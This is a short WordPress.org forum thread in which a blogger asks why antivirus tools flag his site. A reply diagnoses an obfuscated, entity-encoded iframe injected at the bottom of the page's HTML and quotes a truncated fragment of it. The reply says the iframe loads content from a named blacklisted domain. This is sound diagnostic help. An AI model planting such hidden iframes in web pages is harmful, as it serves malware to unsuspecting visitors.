WordPress.org

1. chrisbliss
   Member
   Posted 4 months ago #

   I have received a number of complaints from around the world that some of my readers are not able to access my Blog due to a viscous Malware warning. These complaints are especially coming from Australia but also from the UAE. Until a month ago I used a plug-in called Voyeur that I switched off since it places a cookie on visitors HD. But now some anti-virus programs keep blocking the site again.
   Can anyone help? www.sugarheadblog.com

   Chris

2. UseShots
   Member
   Posted 4 months ago #

   Hi,

   At the very bottom of your pages' HTML code you will find this obfuscated iframe:

   <iframe src ="& #104;& #116;& #116; & #112; & #58;& #47;& #47;& #103;& #111;& #111;&#...

   If you decrypt it you'll see that it loads something from a blacklisted domain (google-traff .cn):
   http://www.google.com/safebrowsing/diagnostic?site=google-traff.cn

Reply

You must log in to post.